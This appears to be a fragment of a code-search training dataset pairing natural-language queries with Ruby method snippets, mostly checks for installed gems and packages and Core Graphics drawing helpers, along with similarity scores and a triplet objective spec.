"def gem?\n #return true if Dir[File.join(location, '*.gemspec')].first\n pkgname = File.basename(location)\n gemsdir = File.dirname(location)\n specdir = File.join(File.dirname(gemsdir), 'specifications')\n Dir[File.join(specdir, \"#{pkgname}.gemspec\")].first\n end",
"def has_package?(name)\n packages.has_key?(name) || os_package_resolver.include?(name)\n end",
"def check_for_gems\n\n OPTIONAL_GEMS.each do |gem_name|\n method_name = \"has_#{gem_name.underline}?\".to_sym\n\n (class << self; self; end).class_eval do\n instance_variable_name = \"@has_#{gem_name.underline}\".to_sym\n\n define_method method_name do\n if instance_variable_get(instance_variable_name).nil?\n gem_installed = SystemChecks.gem_available?(gem_name)\n instance_variable_set(instance_variable_name, gem_installed)\n end\n instance_variable_get(instance_variable_name)\n end # define_method\n\n end # class_eval\n\n end # OPTIONAL_GEMS\n end",
"def has_gem?(str)\n name, version = parse_gem_line(str)\n begin\n gem(name, version || '>=0')\n true\n rescue Gem::LoadError\n false\n end\n end",
"def check_gem(gem, gem_path)\n result = `#{gem_path} query --local | grep #{ gem }`\n if result == \"\"\n installed = false\n else\n installed = true\n end #if\n \n installed\n end",
"def is_gem?(name)\n return @is_gem if @is_gem\n begin\n # First, do we even have gems?\n require 'rubygems'\n # Ported over from porttown\n # Apparently Gem.activate changed from 2 args to 1 at some point, and I\n # can't find rdocs anywhere that tell me why, so this is a workaround\n begin\n Gem.activate(name)\n rescue ArgumentError\n Gem.activate(name, false)\n end\n #If we made it here, then we're a gem.\n @is_gem = true\n rescue LoadError\n @is_gem = false\n end\n return @is_gem\n end",
"def check_module_exists(module_name)\n @forge.check_module_exists(module_name)\n end",
"def plugin_installed?(name)\n raise \"Not Implemented\"\n end",
"def haspackage? pkgname\n\t\tif @cf.packagelist\n\t\t\treturn @cf.packagelist[pkgname]\n\t\tend\n\t\t# ---- check for direct name of binary using the path\n\t\t`which #{pkgname}` =~ /#{pkgname}/\n\tend",
"def gem_listed?(gem)\n lockfile_specs.map(&:name).include? gem\n end",
"def check_module_exists(module_name)\n @forge.check_module_exists(module_name)\n end",
"def installed?(name, req = Gem::Requirement.default)\n Gem::Specification.any? { |s| s.name =~ name and req =~ s.version }\n end",
"def library_present?(library_name)\n library_path(library_name).exist?\n end",
"def package_available?(package_name)\n refresh\n\n if @rpmdb.lookup(package_name)\n return true\n else\n if package_name =~ /^(.*)\\.(.*)$/\n pkg_name = $1\n pkg_arch = $2\n\n if matches = @rpmdb.lookup(pkg_name)\n matches.each do |m|\n return true if m.arch == pkg_arch\n end\n end\n end\n end\n\n false\n end",
"def integrated\n File.exist?(gemfile)\n end",
"def gemspec?\n !gemspecs.empty?\n end",
"def check_module_exists(module_name)\n !get_module_data(module_name).nil?\n end",
"def has_local_package?(package_name)\n !!locate_local_package(package_name)\n end",
"def package_exists(name, version, list)\n status = list.scan(/^#{name}.*#{version}.*/).first\n\n status.nil? ? false : true\n end",
"def find_name(gem_name, version_requirement=Version::Requirement.new(\">= 0\"))\n search(/^#{gem_name}$/, version_requirement)\n end",
"def find_name(gem_name, version_requirement=Version::Requirement.new(\">= 0\"))\n search(/^#{gem_name}$/, version_requirement)\n end",
"def rpm_installed?(name)\n system_command(\"rpm\", args: [\"-q\", \"--qf\", \"%{NAME}-%{VERSION}\", name]).success?\nend",
"def gem_version_more?(name, version)\n Gem.loaded_specs[name].version >= Gem::Version.new(version)\n end",
"def gem_installed?(gem)\n begin\n old_stderr, $stderr = $stderr, StringIO.new\n if defined?(::Gem::Specification) && ::Gem::Specification.respond_to?(:find_by_name)\n gem_spec = ::Gem::Specification.find_by_name(gem)\n else\n gem_spec = ::Gem::GemPathSearcher.new.find(gem)\n end\n gem_spec.nil? ? nil : gem_spec.version.to_s\n rescue LoadError\n nil\n ensure\n $stderr = old_stderr\n end\n end",
"def installed?\n secrets = @stage.get('secrets').map(&:name)\n secrets.any? { |s| s.match(/\\Ash\\.helm\\.release\\.v\\d+\\.#{Regexp.escape(name)}\\./) }\n end",
"def gemfile_exists? \n File.exists? \"Gemfile\"\nend",
"def gemfile_exists? \n File.exists? \"Gemfile\"\nend",
"def require_name?\n true\n end",
"def activated?\n loaded = Gem.loaded_specs[name]\n loaded && loaded.version == version\n end",
"def dep_check\n $gems_required.each do |current_gem|\n begin\n if current_gem.include? \",\"\n tokens = current_gem.split(\",\")\n gem tokens[0], tokens[1]\n else\n gem current_gem\n end\n rescue Gem::LoadError\n if current_gem.include? \",\"\n $gems_missing_version << current_gem\n else\n $gems_missing << current_gem\n end\n end\n end\n if $gems_missing.length == 0 && $gems_missing_version.length == 0\n return true\n else\n return false\n end\nend",
"def bundled?\n Gem.loaded_specs.key?(self.class.from_gem)\n end",
"def installed?\n case @spec\n when Gem::Resolver::VendorSpecification then\n true\n else\n this_spec = full_spec\n\n Gem::Specification.any? do |s|\n s == this_spec\n end\n end\n end",
"def gem_if_necessary(gem)\n grep = args = nil\n if gem =~ /(.*)-(\\d+\\.\\d+\\.\\d+)$/\n gem, version = $1, $2\n grep = \"^#{gem}.*#{version}\"\n args = \" --version #{version}\"\n else\n grep = \"^#{gem}\"\n end\n if fails?(\"gem list #{gem} | grep '#{grep}'\")\n banner \"#{gem}...\"\n run \"gem install #{gem} #{args} --no-rdoc --no-ri\"\n return true\n end\n false\n end",
"def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end",
"def is_pkg_avail?(pkg_name, version)\n\n return false unless is_platform_supported?\n\n script = \"yum list available #{pkg_name}-#{version}\"\n Chef::Log.info \"Checking the package: #{script}\"\n cmd = shell_out(script, :live_stream => Chef::Log)\n Chef::Log.info \"Exit status: #{cmd.exitstatus}. The #{pkg_name}-#{version} \" +\n \"package is #{cmd.exitstatus != 0 ? 'NOT' : '' } available \" +\n 'to install from OS repo.'\n cmd.exitstatus == 0\n end",
"def find_name(gem_name, requirement = T.unsafe(nil)); end",
"def resource_available?(name)\n node.run_context.resource_collection.find(name)\n\n true\n rescue Chef::Exceptions::ResourceNotFound\n false\n end",
"def require_perl_module(name)\n print \"Checking for Perl module #{name}... \"\n\n output = `perl -M#{name} -e 'print \"exists\";' 2>&1`.strip\n\n if output == 'exists'\n puts 'yes'\n else\n abort 'no'\n end\n end",
"def exist?(name)\n @vendors.any? { |vendor| vendor.name == name }\n end",
"def exists?\n Dir.glob(@resource.value(:name) +\"*.rpm\").empty?\n end",
"def require_manager_name?\n !!(self.registered_download.require_manager_name?)\n end",
"def knows?(name)\n false\n end",
"def installed?(_name = nil, _version = nil)\n return false if info.nil?\n info[:installed]\n end",
"def include?(pkg)\n pkg = pkg.name unless pkg.respond_to?(:to_str)\n packages_by_name.has_key?(pkg)\n end",
"def exists?\n if resource[:force] == true\n false\n else\n package = client(resource).package(resource[:group], resource[:name], resource[:version])\n package.is_installed.data\n end\n end",
"def library_loaded?(library_name)\n @loaded_libraries[library_name.to_sym]\n end",
"def has_plugin?(name)\n true\n end",
"def require_if_available(name)\n require name\nrescue LoadError\n false\nend",
"def package_enabled?(name)\n Autoproj.workspace.manifest.package_enabled?(name, false)\nend",
"def feature_provided?(name)\n if name.suffix?(\".rb\") or name.suffix?(LIBSUFFIX)\n return loaded? name\n elsif name.suffix? \".so\"\n # This handles cases like 'require \"openssl.so\"' on\n # platforms like OS X where the shared library extension\n # is not \".so\".\n return loaded?(name[0..-4] + LIBSUFFIX)\n else\n return true if loaded?(name + \".rb\")\n return loaded?(name + LIBSUFFIX)\n end\n\n return false\n end",
"def software_installed?(name)\n result = execute_with_result('type', name)\n result and /\\A(#{name})(.)+(#{name})$/.match(result).to_a.count >= 3\n end",
"def has_name?\n true\n end",
"def version_specified_gem?(node); end",
"def exists?(name)\n\t\t@plugins.has_key?(name)\n\tend",
"def check_for_package host, package_name\n host.check_for_package package_name\n end",
"def check_gems\n @gems ||= {}\n @gems.keys.select { |g| Gem.source_index.find_name(g, @gems[g]).size == 0 }\n end",
"def exists?(module_name)\n const_name = module_name.to_s.camel_case\n slice_names.include?(const_name) && Object.const_defined?(const_name)\n end",
"def available?\n !!version\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def bundler_installed?\n\t`(gem spec bundler -v > /dev/null 2>&1)`\n end",
"def has_package_set?(name)\n !!find_package_set(name)\n end",
"def installed?\n false\n end",
"def has_name?(name)\n names.include?(name)\n end",
"def activated?\n @activated ||=\n begin\n loaded = Gem.loaded_specs[name]\n loaded && loaded.version == version\n end\n end",
"def rubygems_valid_response?(http, url)\n url.include?(RubygemsApi::BASE_URL) && http_valid_status_code?(http, [200, 404])\n end",
"def check_for_package host, package_name\n host.check_for_package package_name\n end",
"def registered?\n present?(name) && Vedeu.geometries.registered?(name)\n end",
"def available?\n !version.nil?\n end",
"def is_libname?(); @type == GRT_LIBNAME; end",
"def is_module_package?(name)\n filename = File.expand_path(name)\n filename =~ /.tar.gz$/\n end",
"def gem_path?(file); end",
"def has_project?(name)\n available_projects.has_key?(name)\n end",
"def meets_requirements?\n if dirname = Micro.installed_gem_dirnames(name).last\n Gem::Version.from_gem_dirname(dirname) >= @version_requirements.version\n end\n end",
"def check_system_python\n @candidate_pythons = lookup_local_pythons\n return 0 != @candidate_pythons.length\n end",
"def specification(full_name)\n @gems[full_name]\n end",
"def item_present?(name)\n return true if Item.find_by_name(name).present?\n return false\n end",
"def installed?\n File.exists?(@path)\n end",
"def installed?\n !IO.popen(\"which #{self}\"){|i| i.read}.empty?\n end"
] |
[
"0.7941232",
"0.79386425",
"0.78808427",
"0.78281",
"0.7597584",
"0.7515734",
"0.7476582",
"0.7438265",
"0.73793375",
"0.7360166",
"0.7358794",
"0.7334754",
"0.7325193",
"0.7290394",
"0.7261353",
"0.72375816",
"0.7133084",
"0.7105013",
"0.70745856",
"0.69979054",
"0.69392866",
"0.68905693",
"0.6869513",
"0.67905647",
"0.6774889",
"0.66472673",
"0.6635034",
"0.66205114",
"0.6610834",
"0.6604914",
"0.66047364",
"0.66009116",
"0.65515876",
"0.652749",
"0.6498824",
"0.6486601",
"0.647491",
"0.6432564",
"0.63935214",
"0.6388867",
"0.6388867",
"0.6362846",
"0.63402873",
"0.6320332",
"0.6285896",
"0.628565",
"0.628565",
"0.62782925",
"0.62715834",
"0.6258816",
"0.6250603",
"0.6246438",
"0.6241527",
"0.62303305",
"0.62303305",
"0.6228347",
"0.6221344",
"0.61926264",
"0.61877775",
"0.6183555",
"0.61612195",
"0.6146899",
"0.61463594",
"0.61074173",
"0.61058843",
"0.6096366",
"0.60772115",
"0.6072642",
"0.6069528",
"0.6069511",
"0.60653394",
"0.604224",
"0.6034732",
"0.6027052",
"0.6024617",
"0.6013963",
"0.60115355",
"0.60014534",
"0.5998007",
"0.5998007",
"0.5998007",
"0.5982969",
"0.5979676",
"0.59700024",
"0.5957878",
"0.5957438",
"0.5954504",
"0.59501785",
"0.59212774",
"0.591544",
"0.5903236",
"0.59006304",
"0.58921087",
"0.5878839",
"0.587594",
"0.58708185",
"0.58666575",
"0.58650345",
"0.5855469"
] |
0.8387787
|
0
|
setup the default drawing context, and perform your drawing in the block you pass to this function
|
def defaults(context)
CGContextSaveGState(context)
stroke.setStroke
fill.setFill
if fill_phase
CGContextSetPatternPhase(context, fill_phase)
end
CGContextSetLineWidth(context, self.line_width)
if line_dash
CGContextSetLineDash(context, 0, line_dash.to_pointer(:float), line_dash.length)
end
yield
CGContextRestoreGState(context)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def draw(&block)\n block.call(self)\n end",
"def draw(&block)\n instance_eval(&block)\n end",
"def draw\n get_blocks.each { |block| block.draw }\n end",
"def draw\n\t\t# Complete the missing code\n\t\tdraw_background()\n\tend",
"def draw(&block)\n instance_exec &block\n end",
"def draw\n end",
"def draw\n end",
"def draw\n end",
"def draw( &blk )\n register\n instance_eval &blk if blk\n self\n end",
"def draw; end",
"def draw; end",
"def draw\n end",
"def draw(&block)\n auto_update(false)\n block.call\n auto_update(true)\n end",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\t\t\n\tend",
"def draw\n\n\t\tend",
"def draw\n\t\tend",
"def draw\n\tend",
"def draw\n draw_background\n draw_ambient\n draw_objects\n draw_ui\n end",
"def draw # :yields: canvas\n yield Canvas.new(self)\n self\n end",
"def draw(&proc)\n end",
"def draw(&proc)\n end",
"def draw(&proc)\n end",
"def draw\n raise \"Not implemented\"\n end",
"def draw\n\t\t\t\t\n\t\t\tend",
"def fill_graphicsblock(*args)\n @p.fill_graphicsblock(self, *args)\n end",
"def draw\n framerate_counter.update\n\n draw_background_on self\n poops.each {|poop| poop.draw_on self }\n draw_targets_on self\n boid.draw_on self\n draw_ui_on self\n end",
"def draw(root)\n end",
"def draw\n @graphics.draw\n @script.draw\n end",
"def draw\n call Screen.setColor(true)\n call Screen.drawRectangle(@x, @y, @x + @size, @y + @size)\n end",
"def draw\n dc = Wx::MemoryDC.new\n dc.select_object(self)\n yield dc\n dc.select_object( Wx::NULL_BITMAP )\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw()\n draw_controls()\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw\n @help.draw(20, 10, 100)\n @return.draw\n end",
"def create_graphics\n super\n draw_wanted_data\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n end",
"def draw\n <<~RUBY\n def initialize(#{initialize_parameters})\n #{initialize_body}\n end\n RUBY\n end",
"def fill_paint(paint)\n end",
"def draw\n @help.draw(30, 120, 100)\n @cancel.draw\n end",
"def draw\r\n yield @screen\r\n\r\n # Show the changes to the screen surface by flipping the buffer that is visible\r\n # to the user. All changes made to the screen surface will appear\r\n # simultaneously\r\n @screen.flip\r\n end",
"def draw\n intro if @intro_flag\n draw_ruby\n draw_emerald\n @dude.draw(mouse_x - 75, mouse_y - 75, 1)\n hitter\n draw_header\n game_over unless @playing || @intro_flag\n end",
"def render\n a = @drawing_area.allocation\n draw(@drawing_area.window.create_cairo_context, a.width, a.height)\n end",
"def draw\n unless @track_result.nil?\n draw_play()\n end \n draw_btns()\n draw_stuff()\n draw_background()\n draw_albums(@albums)\n display_tracks()\n @info_font.draw(\"mouse_x: #{mouse_x}\", 200, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n @info_font.draw(\"mouse_y: #{mouse_y}\", 350, 50, ZOrder::UI, 1.0, 1.0, Gosu::Color::WHITE)\n end",
"def do_draw( event )\n dirty_rects = draw( event.screen )\n event.screen.update_rects(dirty_rects)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw(&proc)\n instance_eval(&proc)\n end",
"def draw_setup(gc)\n if @obj.stroke and @obj.strokewidth > 0\n gc.set_foreground @obj.stroke\n gc.set_alpha @obj.stroke_alpha\n gc.set_line_width @obj.strokewidth\n true\n end\n end",
"def draw\n @osd.draw\n end",
"def draw\n @screen.insert(@frame, 0, 0)\n @screen.draw(0, 0, 0)\n end",
"def draw(dc, theme, width, height)\r\n meth_handl = @graphic_handler[@state_gfx]\r\n send(meth_handl, dc, width, height) if meth_handl\r\n end",
"def draw\n @menu_background.draw\n @current_view.draw\n if @alert_view != nil\n @alert_view.draw\n end\n end",
"def draw\n # TODO Left label\n # TODO Bottom labels and markers\n # @graph_bottom\n # Calculations are off 800x???\n\n @colors.reverse!\n\n draw_title\n\n @margin = 30.0\n @thickness = @raw_rows / 6.0\n @right_margin = @margin\n @graph_left = @title_width * 1.3 rescue @margin # HACK Need to calculate real width\n @graph_width = @raw_columns - @graph_left - @right_margin\n @graph_height = @thickness * 3.0\n\n # Background\n @d = @d.fill @colors[0]\n @d = @d.rectangle(@graph_left, 0, @graph_left + @graph_width, @graph_height)\n\n [:high, :low].each_with_index do |indicator, index|\n next unless @options.has_key?(indicator)\n @d = @d.fill @colors[index + 1]\n indicator_width_x = @graph_left + @graph_width * (@options[indicator] / @maximum_value)\n @d = @d.rectangle(@graph_left, 0, indicator_width_x, @graph_height)\n end\n\n if @options.has_key?(:target)\n @d = @d.fill @font_color\n target_x = @graph_left + @graph_width * (@options[:target] / @maximum_value)\n half_thickness = @thickness / 2.0\n @d = @d.rectangle(target_x, half_thickness, target_x + half_thickness, @thickness * 2 + half_thickness)\n end\n\n # Value\n @d = @d.fill @font_color\n @d = @d.rectangle(@graph_left, @thickness, @graph_left + @graph_width * (@value / @maximum_value), @thickness * 2)\n\n @d.draw(@base_image)\n end",
"def draw()\n if !@cBorders.nil?\n @cBorders.draw()\n end\n @cImage.draw()\n end",
"def draw(&proc)\n self.instance_eval(&proc)\n # self.instance_eval { proc.call }\n end",
"def draw\n @drawer.clear\n draw_ss\n draw_graph\n @segments.each do |s|\n s.draw(@drawer) \n end\n end",
"def open_drawing(drawing, **options, &block)\n run(**options) do |app|\n app.open_drawing(drawing, **options, &block)\n end\n end",
"def draw(&proc)\n obj.instance_eval(&proc)\n end",
"def draw\r\n # Complete the missing code\r\n #draw_albums(albums)\r\n draw_background\r\n end",
"def drawrect(*)\n super\n end",
"def draw(entity)\n case entity\n when Edge then draw_edge entity\n when Box then draw_box entity\n end\n end",
"def draw\n\t\t\t\tcurrent_scene and current_scene.draw\n end",
"def draw\n Gosu.scale(@scale[:x], @scale[:y], x, y) do\n Gosu.rotate(@rotation, *get_center.values) do\n Gosu.translate(*get_corner(:left, :top).get_position.values) do\n call_method_on_children :draw\n end\n #draw_debug # TODO: Clean up\n end\n end\n end",
"def draw\r\n draw_background\r\n draw_h(@balls)\r\n end",
"def create_graphics\n create_viewport\n create_background\n create_buttons\n init_entering\n end",
"def draw\n @grid.draw\n show_info\n end",
"def draw_delauney\nend",
"def draw()\n if visible\n \n case self.align \n when 0 # Left\n x = self.rect.x\n when 1 # Middle\n x = self.rect.x + self.rect.width/2 - self.src_rect.width/2\n when 2 # Right\n x = self.rect.x + self.rect.width - self.src_rect.width\n else\n x = 0\n end\n \n case self.valign \n when 0 # Top\n y = self.rect.y\n when 1 # Middle\n y = self.rect.y + self.rect.height/2 - self.src_rect.height/2\n when 2 # Bottom\n y = self.rect.y + self.rect.height - self.src_rect.height\n else\n y = 0\n end\n\n if !active\n opacity = Font.inactive_alpha()\n else\n opacity = self.opacity\n end\n \n bitmap.blt(x, y, self.img_bitmap, self.src_rect, opacity)\n end\n end",
"def draw\n Termbox.tb_clear\n @views.each {|view| view.draw}\n Termbox.tb_present\n end",
"def draw(box)\n # Did we ask for a shadow?\n unless @shadow_win.nil?\n Draw.drawShadow(@shadow_win)\n end\n\n # Should we box the matrix?\n if box\n Draw.drawObjBox(@win, self)\n end\n\n self.drawTitle(@win)\n\n @win.wrefresh\n\n self.drawEachColTitle\n self.drawEachRowTitle\n self.drawEachCell\n self.focusCurrent\n end",
"def draw\r\n draw_rect(0, 0, WIDTH, 50, COLOR_BLACK, 0) # Header Background\r\n draw_rect(WIDTH-300, 50, 300, HEIGHT, COLOR_LIGHT_GREY, 1) # Action Panel\r\n @heading_font.draw_text(\"Swincoin\", 350, 9, 1, 1.0, 1.0, COLOR_WHITE, mode=:default) # Header Text\r\n draw_info(mouse_x, mouse_y)\r\n draw_transaction_box(mouse_x, mouse_y)\r\n draw_peers\r\n # Footer\r\n draw_rect(0,HEIGHT-32,WIDTH,32,COLOR_BLACK,2)\r\n @content_font.draw_text(\"Last Action: #{$status}\", 10, HEIGHT-22, 2, 1.0, 1.0, COLOR_WHITE, mode=:default)\r\n end",
"def refresh\n contents.clear\n draw_header\n draw_face_area(line_height * 1.5)\n draw_attr_area(0, line_height * 2 + 104)\n draw_skill_area(240, line_height * 2 + 104)\n end",
"def drawRect(rect)\n #p \"draw Rect\"\n context = UIGraphicsGetCurrentContext()\n\n # Change Alpha of background if it hasnt been set\n if @alpha_view\n CGContextSetAlpha(context, @alpha_view)\n end\n\n # now draw the added toys\n CGContextBeginTransparencyLayer(context, nil)\n #@toys_in_scene.each { |toy| toy.update_image }\n @toys_in_scene.each { |toy| toy.draw(context) if toy != @selected }\n # Drawing Edges\n @strokes.each { |stroke| stroke.draw(context) if stroke != @selected }\n CGContextEndTransparencyLayer(context)\n\n # Restores Alpha\n if @alpha_view\n CGContextSetAlpha(context, 1.0)\n end\n\n if @secondary_selected\n CGContextBeginTransparencyLayer(context, nil)\n setup_context(context, true)\n @secondary_selected.draw(context)\n CGContextEndTransparencyLayer(context)\n end\n\n # Draws what is selected on top\n if @selected\n CGContextBeginTransparencyLayer(context, nil)\n setup_context(context, true)\n @selected.draw(context)\n CGContextEndTransparencyLayer(context)\n end\n\n # Item currently being drawn\n if @points\n CGContextBeginTransparencyLayer(context, nil)\n setup_context(context)\n draw_partial_thing(context)\n CGContextEndTransparencyLayer(context)\n end\n\n # If an effect needs a visual representation when applying, perform that here\n case @mode\n\n # Displays an arrow from selected to touched position\n when :force\n if @current_point && @selected\n @current_point = round_coordinates(@current_point, @selected.position)\n @current_point = snap_to_45(@current_point, @selected.position)\n draw_force_arrow(context, @selected.position, @current_point)\n end\n\n # Explosion size with radius between selected and finger\n when :explosion\n if @current_point && @selected\n @current_point = round_coordinates(@current_point, @selected.position)\n #draw_force_arrow(context, @selected.position, @current_point)\n length = Math.hypot(@selected.position.x - @current_point.x, @selected.position.y - @current_point.y)\n draw_force_circle(context, @selected.position, length)\n end\n\n # Rotation starting from left side, top implies clockwise, bottom anti-clockwise\n when :rotation\n if @current_point && @selected\n draw_rotate_circle(context, @selected.position, @current_point)\n else\n draw_static_rotate_circle(context, @selected.position)\n end\n\n when :create_new_toy\n if @current_point and @drag\n @selected.position = @current_point\n end\n end\n end",
"def draw\n @player.draw\n if @twoplayer\n @player2.draw\n else\n @bot.draw\n end\n @ball.draw\n @wall.draw\n @score.draw\n @help.draw\n end",
"def draw\n\t\t@currentState.draw\n\tend",
"def draw\n\t\t# draws the background image\n\t\t# @welcome.draw\n\t\t@background_image.draw(0, 0, 0)\n\t\t# go through each star and draw them\n\t\t@stars.each do |star|\n\t\t\tstar.draw\n\t\tend\n\t\t# draw the horse\n\t\t@horse.draw\n\t\t# draw the candy\n\t\t@candy.draw\n\t\t# draw the score\n\t\t@score_text.draw(\"#{@score}\", 0, 0, 1)\n\tend",
"def step\n # Draw everything\n @image.draw @screen\n end",
"def draw\n return if @type == Type[:EMPTY]\n\n @window.mvaddstr(@x, @y, @appearance)\n end",
"def draw\r\n $scene.draw\r\n end",
"def draw\n\t\t#puts \"Node#draw : #{@node_x}, #{@node_y}\"\n\t\t#puts \"Node#draw: str_pos: \" + @str_pos.to_s\n\t\tpushStyle\n\t\t\tno_stroke\n\t\t\tfill 40, 50, 70\n\t\t\tellipse(@node_x, @node_y, @@node_size, @@node_size)\n\t\tpopStyle\n\tend",
"def on_paint(dc)\n return unless @started\n dc.set_font(@font)\n first_row = row = get_first_visible_line\n last_row = get_last_visible_line+1\n y = 0\n hX = @hex0\n aX = @asc0\n idx = (row.zero?)? 0 : @columns * row\n\n hex_w = @hex_width + @asc_width\n h_off = @hex_width / 2\n\n # draw blank background\n dc.set_pen(Wx::TRANSPARENT_PEN)\n dc.set_brush(Wx::Brush.new(@bg_color))\n dc.draw_rectangle(0, 0, client_size.width, client_size.height)\n\n paint_row(dc, y, idx, row)\n\n while(c=@data[idx]) and row <= last_row\n if(hX >= @hexN)\n hX = @hex0\n aX = @asc0\n y += @txt_height\n row +=1\n paint_row(dc, y, idx, row)\n end\n\n # call byte colorization block if we have one\n text_color =\n if( @post_paint_proc and\n bret=@post_paint_proc.call(self,dc,idx,c,hX+h_off,aX,y) )\n bret\n else\n @dump_color\n end\n\n # selection stuff goes here\n if @selection and @selection.include?(idx)\n sbrushes = [\n @select_bgs[ @cursor.area ],\n @select_bgs[ (@cursor.area+1) % AREAS.size ]\n ]\n colorize_byte_bg(sbrushes, dc, hX+h_off, aX, y)\n end\n\n dc.set_text_foreground(text_color)\n dc.draw_text(\"#{disp_hex_byte(c)}\", hX+h_off, y)\n dc.draw_text(\"#{disp_ascii_byte(c)}\", aX, y)\n\n hX += hex_w\n aX += @asc_width\n idx += 1\n end\n\n paint_boundaries(dc)\n paint_cursor(dc)\n end",
"def draw()\n @ucIcon.draw()\n @cSkillName.draw()\n @cSkillMpCost.draw()\n end",
"def show\n call Screen.setColor(true)\n call draw\n end",
"def draw\n\t\t@image.draw(@x, @y, 1)\n\tend",
"def draw\n process_result 0.5\n end",
"def draw\n @image.draw(@x, @y, 1)\n end",
"def draw \n\t\t@image.draw(@x, @y, 1)\n\tend",
"def draw renderer\n raise NotImplementedError\n end",
"def prepare(&block)\n @agent = agent = DrawingAgent.new(self, @image)\n @fiber = Fiber.new { agent.instance_eval &block }\n end",
"def draw_selected(x_position, y_position)\n $app.stroke($app.rgb(255,0,0))\n draw(x_position, y_position)\n $app.stroke($app.rgb(0,0,0))\n end",
"def draw\n\t\tdraw_background\n\t\t@img.draw(@x+1, \n\t\t\t\t @y+1, \n\t\t\t\t @z, \n\t\t\t\t 1, # Default scale_x \n\t\t\t\t 1, # Default scale_y \n\t\t\t\t @text_colour)\n\tend",
"def draw\n @updated_blocks.each do |block|\n block.draw(self, [@x_viewport, @y_viewport].to_vec2d)\n end\n @player.draw(self, [@x_viewport, @y_viewport].to_vec2d)\n @font.draw(\"Score: #{@player.score}\", 10, 10, ZOrder::UI,\n 1.0, 1.0, Gosu::Color::WHITE)\n end",
"def draw()\n if visible \n c1 = self.color1\n c2 = self.color2\n br_c1 = self.br_color1\n br_c2 = self.br_color2\n gradient = (c1 != c2)\n br_gradient = (br_c1 != br_c2)\n if !active\n if gradient\n c1 = Color.inactive_gauge_color1\n c2 = Color.inactive_gauge_color2\n else\n c1 = c2 = Color.gauge_back_color\n end\n \n if br_gradient\n br_c1 = Color.inactive_gauge_color1\n br_c2 = Color.inactive_gauge_color2\n else\n br_c1 = br_c2 = Color.normal_color\n end\n end\n \n if filled\n bitmap.draw_filled_ellipse(self.x, self.y, self.a, self.b, c1, c2)\n end\n \n if border > 0\n bitmap.draw_ellipse(self.x, self.y, self.a, self.b, br_c1, \n self.border, br_c2)\n end\n \n end\n end",
"def draw()\n\t\tif @grabbed != nil\n\t\t\t#draw a translucent piece under the mouse\n\t\t\tmouse_pos = mouse_over_position()\n\t\t\tfade_color = Gosu::Color.argb(192, 255, 255, 255) #75% opacity\n\t\t\tfade_color = Gosu::Color.argb(128, 255, 255, 255) unless valid_move?(@grabbed, mouse_pos)\n\t\t\t@board.get_piece_icon(@grabbed).draw(@board.left_edge+mouse_pos.x*48, @board.top_edge+mouse_pos.y*48-4, 3, 1, 1, fade_color)\n\t\tend\n\tend",
"def begin_canvas\n if @width && @height\n @surface = ::Cairo::ImageSurface.new(::Cairo::FORMAT_ARGB32, @width, @height)\n else\n @surface = ::Cairo::ImageSurface.from_png(@file)\n end\n bind_context\n end"
] |
[
"0.7504082",
"0.74851537",
"0.73238885",
"0.729637",
"0.7232591",
"0.71189755",
"0.71189755",
"0.71189755",
"0.70904565",
"0.70854586",
"0.70854586",
"0.70468754",
"0.6985719",
"0.69695747",
"0.69695747",
"0.69695747",
"0.69695747",
"0.69552463",
"0.68992645",
"0.688693",
"0.6802009",
"0.6737012",
"0.67191124",
"0.67191124",
"0.67191124",
"0.6668554",
"0.66668445",
"0.6662822",
"0.66585374",
"0.66461843",
"0.6640231",
"0.6635512",
"0.66301185",
"0.662614",
"0.662614",
"0.66110706",
"0.65703547",
"0.65329874",
"0.6467449",
"0.64502746",
"0.64502746",
"0.64502746",
"0.64297616",
"0.6422042",
"0.6417888",
"0.64084625",
"0.6378168",
"0.63651645",
"0.63546205",
"0.63535213",
"0.6352617",
"0.6352617",
"0.6352617",
"0.6336803",
"0.6280867",
"0.6233457",
"0.62160254",
"0.6202376",
"0.61997056",
"0.61995125",
"0.6197166",
"0.61770004",
"0.6158484",
"0.6154306",
"0.61463165",
"0.61443406",
"0.60969675",
"0.60863906",
"0.60853094",
"0.60641915",
"0.604046",
"0.60395604",
"0.6031189",
"0.60171205",
"0.60020643",
"0.59934974",
"0.5990194",
"0.59811",
"0.59774363",
"0.59748775",
"0.5967003",
"0.5956078",
"0.5944023",
"0.5931299",
"0.5924438",
"0.5924098",
"0.5919341",
"0.5912922",
"0.5909302",
"0.59033465",
"0.58946234",
"0.589033",
"0.587923",
"0.58788353",
"0.5878594",
"0.5875721",
"0.5872476",
"0.5844364",
"0.5842428",
"0.58339876",
"0.58339214"
] |
0.0
|
-1
|
convert the current line to a rect
|
def rect()
Rect.new(p1, p2)
.stroke(stroke)
.fill(fill)
.fill_phase(fill_phase)
.line_width(line_width)
.line_dash(line_dash)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def rect=(rectangle); end",
